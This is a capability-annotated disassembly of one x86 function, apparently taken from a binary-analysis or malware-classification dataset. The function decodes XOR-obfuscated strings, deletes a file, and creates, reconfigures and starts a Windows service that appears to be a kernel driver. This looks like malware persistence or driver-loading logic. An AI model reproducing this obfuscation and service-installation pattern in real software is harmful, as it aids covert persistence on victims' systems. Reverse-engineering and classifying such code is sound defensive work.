Function at 0x448e40
Capabilities:
Create service
Delete file
Modify service
Start service

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword [0x6025d0]
sub esp, 0x98
push esi
push edi
mov edi, dword [0x6025d4]
mov esi, 0x6025c0
cmp edi, 8
cmovae esi, dword [0x6025c0]
test eax, eax
je 0x448eb2
xor edx, edx
mov ecx, esi
test eax, eax
je 0x448ea1
cmp word [esi], 0x3a
je 0x448e9f
nop word [eax + eax]
cmp eax, 1
je 0x448ea1
add ecx, 2
dec eax
cmp word [ecx], 0x3a
jne 0x448e90
mov edx, ecx
test edx, edx
je 0x448eb2
sub edx, esi
sar edx, 1
cmp edx, 0xffffffff
jne 0x448f66
mov dword [ebp - 0x20], 0xbded3e06
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], 0x5859bf05
lea edx, [ecx + 2]
mov dword [ebp - 0x18], 0x5757d961
mov dword [ebp - 0x14], 0x2070e7c2
movaps xmm1, xmmword [ebp - 0x20]
mov dword [ebp - 0x40], 0xbdd73e45
mov dword [ebp - 0x3c], 0x5818bf59
mov dword [ebp - 0x38], 0x5700d92e
mov dword [ebp - 0x34], 0x2020e780
pxor xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x10], 0x7470b129
mov dword [ebp - 0xc], 0xa0cf2fb6
mov dword [ebp - 8], 0xfddca120
mov dword [ebp - 4], 0xb8d3ea26
movaps xmmword [ebp - 0x20], xmm1
movaps xmm1, xmmword [ebp - 0x10]
mov dword [ebp - 0x30], 0x7403b107
mov dword [ebp - 0x2c], 0xa0bc2fcf
mov dword [ebp - 0x28], 0xfddca120
mov dword [ebp - 0x24], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x10], xmm1
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x448f42
sub ecx, edx
lea eax, [ebp - 0x20]
sar ecx, 1
push ecx
push eax
mov ecx, 0x6025c0
call fcn.0045aa30
mov edi, dword [0x6025d4]
cmp edi, 8
mov eax, 0x6025c0
cmovae eax, dword [0x6025c0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x44903a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], 0x66cc375
mov dword [ebp - 0xc], 0xc4990ff5
mov dword [ebp - 8], 0xfddca12a
mov dword [ebp - 4], 0xb8d3ea26
mov dword [ebp - 0x20], 0xd3b24e0a
mov dword [ebp - 0x1c], 0x3955fc0a
mov dword [ebp - 0x18], 0x3267b840
mov dword [ebp - 0x14], 0x4500a6f2
movaps xmm1, xmmword [ebp - 0x20]
mov dword [ebp - 0x40], 0xbdd73e45
mov dword [ebp - 0x3c], 0x5818bf59
mov dword [ebp - 0x38], 0x5700d92e
mov dword [ebp - 0x34], 0x2020e780
pxor xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm1
push eax
mov dword [ebp - 0x30], 0x7403b107
lea eax, [ebp - 0x20]
mov dword [ebp - 0x2c], 0xa0bc2fcf
mov dword [ebp - 0x28], 0xfddca120
mov dword [ebp - 0x24], 0xb8d3ea26
movaps xmm1, xmmword [ebp - 0x30]
pxor xmm1, xmmword [ebp - 0x10]
push eax
movaps xmmword [ebp - 0x10], xmm1
call fcn.00446ea0
add esp, 8
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
sub esp, 8
call fcn.00448c10
add esp, 8
test al, al
je 0x44902f
cmp dword [0x6025d4], 8
mov ecx, 0x6025c0
push 0xc2
cmovae ecx, dword [0x6025c0]
mov dl, 1
call fcn.00447fd0
add esp, 4
mov dword [ebp - 0x80], 0xff807104
mov dword [ebp - 0x7c], 0x58188e09
lea eax, [ebp - 0x80]
mov dword [ebp - 0x78], 0x5700d92e
mov dword [ebp - 0x74], 0x2020e780
movaps xmm1, xmmword [ebp - 0x80]
push 0x10
push eax
mov dword [ebp - 0x30], 0xbdd73e45
mov dword [ebp - 0x2c], 0x5818bf59
mov dword [ebp - 0x28], 0x5700d92e
mov dword [ebp - 0x24], 0x2020e780
pxor xmm1, xmmword [ebp - 0x30]
push edi
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x449169
cmp dword [0x6025d4], 8
mov eax, 0x6025c0
push esi
cmovae eax, dword [0x6025c0]
push esi
push esi
push esi
push esi
push eax
push esi
push 3
push 1
push 0x10
mov dword [ebp - 0x90], 0xbd983e04
lea eax, [ebp - 0x90]
mov dword [ebp - 0x8c], 0x585abf0e
mov dword [ebp - 0x88], 0x5731d97e
mov dword [ebp - 0x84], 0x2020e780
movaps xmm1, xmmword [ebp - 0x90]
push 0x5f13a0
push eax
mov dword [ebp - 0x30], 0xbdd73e45
mov dword [ebp - 0x2c], 0x5818bf59
mov dword [ebp - 0x28], 0x5700d92e
mov dword [ebp - 0x24], 0x2020e780
pxor xmm1, xmmword [ebp - 0x30]
push edi
movaps xmmword [ebp - 0x90], xmm1
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x449169
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 0x44], eax
test eax, eax
jne 0x449350
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x422
jne 0x4492b2
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x30], 0xff807104
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0x58188e09
mov dword [ebp - 0x28], 0x5700d92e
mov dword [ebp - 0x24], 0x2020e780
movaps xmm1, xmmword [ebp - 0x30]
push 0x12
push eax
mov dword [ebp - 0x10], 0xbdd73e45
mov dword [ebp - 0xc], 0x5818bf59
mov dword [ebp - 8], 0x5700d92e
mov dword [ebp - 4], 0x2020e780
pxor xmm1, xmmword [ebp - 0x10]
push edi
movaps xmmword [ebp - 0x30], xmm1
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
je 0x449220
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 0x44], eax
test eax, eax
jne 0x449350
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x20], 0x9d8a0c1e
mov dword [ebp - 0x1c], 0x2a79cb0a
mov dword [ebp - 0x18], 0x25658a5a
mov dword [ebp - 0x14], 0x45438ef6
mov dword [ebp - 0x10], 0x6669146
mov dword [ebp - 0xc], 0x9ace40bd
mov dword [ebp - 8], 0xf7b88400
mov dword [ebp - 4], 0xb8d3ea26
movaps xmm1, xmmword [ebp - 0x20]
mov dword [ebp - 0x70], 0xbdd73e45
mov dword [ebp - 0x6c], 0x5818bf59
mov dword [ebp - 0x68], 0x5700d92e
mov dword [ebp - 0x64], 0x2020e780
pxor xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x60], 0x7403b107
mov dword [ebp - 0x5c], 0xa0bc2fcf
mov dword [ebp - 0x58], 0xfddca120
mov dword [ebp - 0x54], 0xb8d3ea26
movaps xmmword [ebp - 0x20], xmm1
movaps xmm1, xmmword [ebp - 0x60]
pxor xmm1, xmmword [ebp - 0x10]
jmp 0x44933f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x20], 0xcfb64a16
mov dword [ebp - 0x1c], 0x2a7dec2d
mov dword [ebp - 0x18], 0x3263b058
mov dword [ebp - 0x14], 0x5245c7c1
mov dword [ebp - 0x10], 0x4e71de75
mov dword [ebp - 0xc], 0xaad80aef
mov dword [ebp - 8], 0xfddca120
mov dword [ebp - 4], 0xb8d3ea26
movaps xmm1, xmmword [ebp - 0x20]
mov dword [ebp - 0x70], 0xbdd73e45
mov dword [ebp - 0x6c], 0x5818bf59
mov dword [ebp - 0x68], 0x5700d92e
mov dword [ebp - 0x64], 0x2020e780
pxor xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x20], xmm1
movaps xmm1, xmmword [ebp - 0x10]
mov dword [ebp - 0x60], 0x7403b107
mov dword [ebp - 0x5c], 0xa0bc2fcf
mov dword [ebp - 0x58], 0xfddca120
mov dword [ebp - 0x54], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0x60]
push eax
lea eax, [ebp - 0x20]
movaps xmmword [ebp - 0x10], xmm1
push eax
call fcn.00446ea0
add esp, 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
cmp dword [ebp - 0x44], 0
pop edi
setne al
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret